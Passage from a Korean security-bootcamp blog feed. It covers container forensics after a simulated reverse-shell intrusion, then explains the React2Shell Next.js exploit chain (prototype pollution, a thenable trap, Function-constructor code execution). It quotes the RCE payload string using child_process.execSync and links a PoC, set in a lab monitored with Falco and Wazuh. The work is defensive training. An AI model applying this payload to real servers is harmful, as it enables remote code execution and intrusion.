this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;621&quot; height=&quot;295&quot; data-origin-width=&quot;621&quot; data-origin-height=&quot;295&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;docker diff 결과에서 A (Added)는 새로 생성된 파일, C(Changed)는 수정된 파일&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결정적인 증거는 크게 3가지로 나눌 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. A&amp;nbsp; /malware_test&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 루트 디렉토리에서 생성된 수상판 파일로 공격자가 시스템의 쓰기 권한을 확인하기 위해 테스트용으로 만들었거나 실제 악성 스크립트일 가능성이 매우 높음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. A&amp;nbsp; /root/.bash_history&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 전 단계에서 확인한 리버스 쉘(bash -i)의 실행 기록이 담긴 파일로 이 파일이&amp;nbsp; 생성되었다는 것은 이미 공격자가 여러 명령어를 입력했다는 증거&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. C /root/.ash_history&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 기본 쉘인 ash 에서도 명령어 기록이 수정되었음으로 공격자가 침투 초기 단계에서 기본 쉘을 만졌음을 알 수 있음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;애플리케이션 및 임시파일들에 대해서는 다음과 같이 분석할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. C /tmp, C /tmp/hsperfdata_root&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 자바 프로세스(PID1)가 실행되면서 생성되는 임시 데이터들로 이전에 확인한 ClassCastException 오류 당시 악성 클래스가 로드되었던 흔적이 이 디렉토리 어딘가에 남아있을 수도 있음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. A /tmp/tomcat.8080... 계열&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- Spring Boot 애플리케이션이 내장 톰캣을 사용하면서 생성한 작업 파일들로 공격 과정에서 생성된 임시 서블릿 파일이나 세션 정보가 포함되어 있을 가능성 존재&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 분석 과정에서 의심스러운것들을 직접 열어보자면,&lt;/p&gt;
&lt;pre id=&quot;code_1771133778273&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 공격자가 친 명령어 전부 확인하기
docker exec 94d2c2f536ac cat /root/.bash_history

# 생성된 의심 파일의 정체 확인하기
docker exec 94d2c2f536ac cat /malware_test&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;851&quot; data-origin-height=&quot;327&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/VDtoJ/dJMcaf6BXa5/njSksguiMuPWHob4hrDUJ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/VDtoJ/dJMcaf6BXa5/njSksguiMuPWHob4hrDUJ1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/VDtoJ/dJMcaf6BXa5/njSksguiMuPWHob4hrDUJ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FVDtoJ%2FdJMcaf6BXa5%2FnjSksguiMuPWHob4hrDUJ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;851&quot; height=&quot;327&quot; data-origin-width=&quot;851&quot; data-origin-height=&quot;327&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. /root/.bash_history&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 공격자가 리버스쉘로 접속해서 실제로 입력한 명령어 기록&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. /malware_test&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 공격자가 wget을 통해 파일을 성공적으로 가져왔음을 입증&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;추가로 도커파일 안의 malware_test 파일을 내용도 확인 가능합니다. (저희가 생성한 파일이라서 I am Malware라고 출력되는 상태입니다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>멀티캠퍼스IT부트캠프</category>
      <category>부트캠프후기</category>
      <category>토스뱅크사이버보안엔지니어부트캠프</category>
      <author>yejiamoe</author>
      <guid isPermaLink="true">https://yejiamoe.tistory.com/31</guid>
      <comments>https://yejiamoe.tistory.com/31#entry31comment</comments>
      <pubDate>Wed, 7 Jan 2026 00:00:44 +0900</pubDate>
    </item>
    <item>
      <title>[토스뱅크 부트캠프] 팀프로젝트 Interrupt 2주차</title>
      <link>https://yejiamoe.tistory.com/30</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1828&quot; data-origin-height=&quot;1024&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zUbwT/dJMcaf6lrAU/QoGNTLAVzzAN4k40rX7lSK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zUbwT/dJMcaf6lrAU/QoGNTLAVzzAN4k40rX7lSK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zUbwT/dJMcaf6lrAU/QoGNTLAVzzAN4k40rX7lSK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FzUbwT%2FdJMcaf6lrAU%2FQoGNTLAVzzAN4k40rX7lSK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;450&quot; height=&quot;1024&quot; data-origin-width=&quot;1828&quot; data-origin-height=&quot;1024&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;안녕하세요&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;TIL 15주차이자 팀프로젝트 2주차 진행중입니다..(사실 TIL이 많이 밀려서 많이 늦게 작성중이긴해요..)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번주에는 뭔가 조금이라도 뭐를 실행시키고 뭐가 출력되고 뭐가 연결되고 하는거에 초점을 맞췄습니다. 저번주에 제가 제일 답답했던 부분이 아직 아무것도 안보여서 감이 안잡힌다는 점이였기 때문이죠. 그래서 저번주에 찾은 poc코드를 기준으로 kali에서 node.js의 ubuntu환경으로의 공격을 실행해보고 간단한 falco룰 정책을 실행해서 falco 로그들을 wazuh로 보내는 과정부터 구현해보았습니다. 이후 APM, Zeek, Arkime 설치, 그리고 멘토님의 피드백 정리 정도가 2주차에 정리할 내용들이 될 것 같습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;React2Shell 적용&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;저번주 TIL에 React2Shell에 대한 개념을 이미 정리했는데..또 이 github보면서 하려니까 또 헷갈리더라구요. 그래서 다시 한번 정리해보려고 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/kdh379/react2shell-poc&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://github.com/kdh379/react2shell-poc&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1767598784533&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;GitHub - kdh379/react2shell-poc&quot; data-og-description=&quot;Contribute to kdh379/react2shell-poc development by creating an account on GitHub.&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/kdh379/react2shell-poc&quot; data-og-url=&quot;https://github.com/kdh379/react2shell-poc&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/7Z0k3/hyZPOMTGbQ/W8A1BzKACkn1hCngscA881/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600,https://scrap.kakaocdn.net/dn/Byh6v/hyZQYuGeUs/EK4bw1iuweIaGqrtto6qwk/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600&quot;&gt;&lt;a href=&quot;https://github.com/kdh379/react2shell-poc&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/kdh379/react2shell-poc&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/7Z0k3/hyZPOMTGbQ/W8A1BzKACkn1hCngscA881/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600,https://scrap.kakaocdn.net/dn/Byh6v/hyZQYuGeUs/EK4bw1iuweIaGqrtto6qwk/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;GitHub - kdh379/react2shell-poc&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Contribute to kdh379/react2shell-poc development by creating an account on GitHub.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기본적으로 React2Shell이라는 이름 자체가 React환경(정확히는 Next.js)에서 시작해 최종적으로 Shell(시스템 권한)을 획득하기 때문에 이러한 이름이 붙여졌습니다. 핵심은 저번주와 같이, &lt;i&gt;데이터로 취급되어야 할 문자열&lt;/i&gt;이, &lt;i&gt;서버의 로직을 속여 실행 가능한 코드&lt;/i&gt;로 변한다는 점에 있습니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 github에 서술된 내용을 제가 구성한 환경인 kali -&amp;gt; ubuntu 환경에 적용했을 대 어떤 현상을 일으키는지 정리해보겠습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. 침투 시작&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;: 공격자인 kali가 fetch를 통해 일반적인 POST 요청을 보냅니다. 하지만 여기에는 2가지 트릭이 있습니다.&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Next-Action 헤더 : 서버에게 이건 단순한 데이터 전송이 아닌 server 가 실행해야하는 server action이라고 속임&lt;/li&gt;
&lt;li&gt;조작된 FormData : 단순한 사용자 이름 텍스트가 아니라 참조 문자열을 보냅니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(여기서 참조 문자열을 보낸다는 것은 Next.js의 Flight 프로토콜에서 발생하는 메커니즘입니다. 쉽게 말하면 Flight 프로토콜도 다른 프로토콜처럼 자신만의 암호규칙 같은게 있겠죠? 프로토콜은 효율적인 통신을 하기 위해서 각각 규칙이 있을 텐데 Flight 프로토콜의 핵심 규칙이 특정 기호로 시작하는 문자열은 단순한 글자가 아니라 참조로 해석한다는 것입니다. 쉽게 말해서 &quot;hello&quot;는 그대로 hello로 인식할 텐데 &quot;$1&quot;은 글자 $1로 이해하는 것이 아니라 1번 인덱스에 있는 데이터를 가져오라고 이해해서 막 다른 bye같은 텍스트로 인식을 해버릴 수 가 있는거죠. )&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. 서버의 착각 (역직렬화 &amp;amp; 프로토타입 오염)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;: ubuntu 서버는 받은 데이터를 객체로 역직렬화합니다. 이때 Next.js의 취약한 로직이 발동하게 됩니다.&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;참조 해석 : 서버는 $1이 뒤에 오는 데이터를 가리킨다고 생각하고 연결해버립니다.&lt;/li&gt;
&lt;li&gt;프로토타입 침투 : __proto__라는 키워드를 만나면 서버는 이 데이터를 객체의 속성이 아닌 자바스크립트의 프로토타입을 수정하는 명령어로 오해합니다.&lt;/li&gt;
&lt;li&gt;Thenable 덫 : then이라는 속성을 주입함으로써 자바스크립트 엔진은 이 객체를 결과가 나오면 실행해야할 Promise 작업이라고 착각하게 됩니다.&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(여기서 then이라는 속성은 저도 처음들었는데 then이라는 단어가 붙은 객체를 무조건 실행해야하는 중요한 함수라고 생각하게 됩니다. 그래서 프로토타입 침투로 프로토타입을 오염시키면서 그 안에 &lt;i&gt;then:&quot;악성코드&quot;&lt;/i&gt; 형태로 심어두면 공격자가 이 &lt;i&gt;&quot;악성코드&quot;&lt;/i&gt;를 무조건 실행하게 됩니다. )&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3. 폭발&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;: 가장 결정적인 단계로 객체가 Promise처럼 취급되면서 then 메서드가 호출되고 이때, 공격자가 주입한 constructor.constructor가 실행됩니다.&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;비밀통로 찾기 : 자바스크립트의 모든 데이터는 자신을 만든 부모(생성자)에 대한 정보를 가지고 있고, 이때 배열([])의 부모는 Array라는 함수입니다. 그리고 이 Array의 부모가 자바스크립트 전체를 관장하는 Function입니다. 이때, 공격자는 보안 장비를 피하기 위해 [].constructor.constructor라는 경로를 통해 Function 마법사를 불러냅니다.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;코드 변신 : 위에서 불려낸 Function 마법사는 단순한 문자열을 살아움직이는 코드로 바꾸는 능력이 있는데 prefix에 담긴 &lt;i&gt;&quot;process.mainModule.require('child_process').execSync('id')&quot;&lt;/i&gt;라는 문자열을 보내면 RCE를 가지게 됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(_prefix라는 상자에 담긴 저 긴 문자열을 서버에게 보내면 서버는 저 긴 글을 읽고 &lt;i&gt;require('child_process')&lt;/i&gt; 부분은 OS와 대화할 수 있는 통신관을 불러오게 되고 &lt;i&gt;execSync('id')&lt;/i&gt; 부분은 통신관을 통해 id를 출력하라라는 뜻입니다. 즉, 저 통신관이 리버스쉘이 되고 RCE가 되는 겁니다. )&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 제가 조사한 PoC 코드가 어떤 취약점으로 동작하는지 이해하고, 실제로 강의실 환경에 구축해보았습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;기본 환경 구축&lt;/b&gt;&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1209&quot; data-origin-height=&quot;1041&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/PTaEV/dJMcaiWhdsV/mRapozE3jZ2UPVKtR6A4ck/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/PTaEV/dJMcaiWhdsV/mRapozE3jZ2UPVKtR6A4ck/img.png&quot; data-alt=&quot;네트워크 구성도&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/PTaEV/dJMcaiWhdsV/mRapozE3jZ2UPVKtR6A4ck/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FPTaEV%2FdJMcaiWhdsV%2FmRapozE3jZ2UPVKtR6A4ck%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1209&quot; height=&quot;1041&quot; data-origin-width=&quot;1209&quot; data-origin-height=&quot;1041&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;네트워크 구성도&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 사진이 저희 프로젝트 1차 네트워크 구성도입니다. 저번주에 설명하였듯이, 저희조는 각 언어별로 파트를 나누어서 맡았기 때문에 제 PC에는 vmware를 위에서 kali와 node.js를 위한 web서버를 ubuntu위에 구축하였습니다. 그리고 FW의 OPNsense와 WAF의 ModSecurity, 그리고 Wazuh server는 강의실 내 남는 PC 하나에 구축하였습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;네트워크 설정&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사실 지금 다 구축한 상태에서 보면 네트워크 연결이 가장 애를 많이 썼던 것 같습니다. 사실 초반에는 모두 다 강의실 내 남는 PC 하나에 java, php, node.js를 올릴 계획이였는데 어쩌다가..제 PC에 개인적으로 막 연습하고 있었는데 또 찾아보니까 NAT 말고 Bridge로 연결하면 또 연결이 된다고 해서..ㅎㅎㅎ 그래서 위에 설명한 것과 같은 구성이 되었습니다. 이때 뭔가 Bridge연결해서 어! 공격 된다 성공했다! 생각했는데 또 다시 생각해보니까 저희 네트워크 구성도 상, kali랑 ubuntu가 Bridge를 통해서 그냥 Wazuh 서버랑 연결되서 로그가 잘 쌓이네~에서 끝나면 안되는 거였습니다...비록 kali랑 ubuntu가 vmware바로 옆에 있고..NAT로는 쉽게 연결되지만...kali에서 ubuntu로 바로 넘어가면 안되고 방화벽이자 라우터 역할을 하는 OPNsense를 꼭 지나가게 했었어야 했습니다. (OPNsense-WAF는 이미 연결해둔 상태) 뭔가 이거를 생각 안하고 무작정 눈에 보이는 뭔가를 구축하고 싶다는 생각에 좀 더 과정이 꼬이면서 어렵게 느껴졌습니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;생각보다 Bridge설정은 간단합니다.(사실 GUI버전도 있는데...저는 GUI랑 CLI 둘다 했다가 한번 꼬였습니다..하하)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. virtual network editor &amp;amp; vm 네트워크 설정&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bxJbgI/dJMcahJSqnN/kqMc3IeAzVYA3a7P5Kx6b1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bxJbgI/dJMcahJSqnN/kqMc3IeAzVYA3a7P5Kx6b1/img.png&quot; data-origin-width=&quot;514&quot; data-origin-height=&quot;446&quot; data-is-animation=&quot;false&quot; width=&quot;400&quot; height=&quot;347&quot; style=&quot;width: 36.6952%; margin-right: 10px;&quot; data-widthpercent=&quot;37.13&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bxJbgI/dJMcahJSqnN/kqMc3IeAzVYA3a7P5Kx6b1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbxJbgI%2FdJMcahJSqnN%2FkqMc3IeAzVYA3a7P5Kx6b1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;514&quot; height=&quot;446&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bWczJf/dJMcagc79nj/dpKBJYJKcgP0oAUYKYzkg1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bWczJf/dJMcagc79nj/dpKBJYJKcgP0oAUYKYzkg1/img.png&quot; data-origin-width=&quot;646&quot; data-origin-height=&quot;331&quot; data-is-animation=&quot;false&quot; width=&quot;400&quot; height=&quot;205&quot; style=&quot;width: 62.142%;&quot; data-widthpercent=&quot;62.87&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bWczJf/dJMcagc79nj/dpKBJYJKcgP0oAUYKYzkg1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbWczJf%2FdJMcagc79nj%2FdpKBJYJKcgP0oAUYKYzkg1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;646&quot; height=&quot;331&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;Bridge라는 단어가 보이면 그것을 선택하면 됩니다!!&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 게이트웨어 설정&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/EFfkt/dJMcaaxc6qj/ePHh2Bdj5V1N7j3iMFkS50/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/EFfkt/dJMcaaxc6qj/ePHh2Bdj5V1N7j3iMFkS50/img.png&quot; data-origin-width=&quot;450&quot; data-origin-height=&quot;69&quot; data-is-animation=&quot;false&quot; style=&quot;width: 75.5695%; margin-right: 10px;&quot; data-widthpercent=&quot;76.46&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/EFfkt/dJMcaaxc6qj/ePHh2Bdj5V1N7j3iMFkS50/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEFfkt%2FdJMcaaxc6qj%2FePHh2Bdj5V1N7j3iMFkS50%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;450&quot; height=&quot;69&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/UNGcE/dJMcaaYhOiG/OTDnx2TacWxPlYoE6I8EU1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/UNGcE/dJMcaaYhOiG/OTDnx2TacWxPlYoE6I8EU1/img.png&quot; data-origin-width=&quot;500&quot; data-origin-height=&quot;249&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;23.54&quot; data-filename=&quot;blob&quot; style=&quot;width: 23.2677%;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/UNGcE/dJMcaaYhOiG/OTDnx2TacWxPlYoE6I8EU1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUNGcE%2FdJMcaaYhOiG%2FOTDnx2TacWxPlYoE6I8EU1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;249&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;저 파일 들어가서 라우터 부분에 OPNsense주소를 적으면 됩니다!!&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 간단한데...음...아무튼 저는 뭔가 이슈가 많았었습니다..ㅜ&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 환경에서는,&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제가 kali에서 ubuntu ip주소로 공격을 보내면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; OPNsense를 거쳐&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt;WAF를 거쳐&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt;ubuntu에 도착하여 공격이 실행되고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt;이 과정이 falco를 통해서 프로세스단의 로그가 남게 되고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt;flaco에 남는 로그를 ubuntu에 있는 wazuh agent가 읽어 json형태로 저장하고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt;wazuh agent는 wazuh server로 로그들을 보내고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; wazuh에는 node.js뿐만 아니라 java,php 로그들도 한번에 볼 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;Ubuntu &amp;amp; Kali 설정&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;victim 서버와 attacker 호스트를 어떻게 구성했는지 정리하겠습니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. Victim 서버 - Ubuntu 22.04&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;: 취약한 애플리케이션 구동 + 커널 레벨 위협 탐지 + 중앙 관게 서버(Wazuh Manager)로 전송&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;주요 구성 요소&lt;/b&gt;
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;&lt;b&gt; Docker &amp;amp; Compose&lt;/b&gt;: 취약한 React/Next.js 환경을 컨테이너화하여 격리된 상태로 빠르게 구동했습니다.&lt;/li&gt;
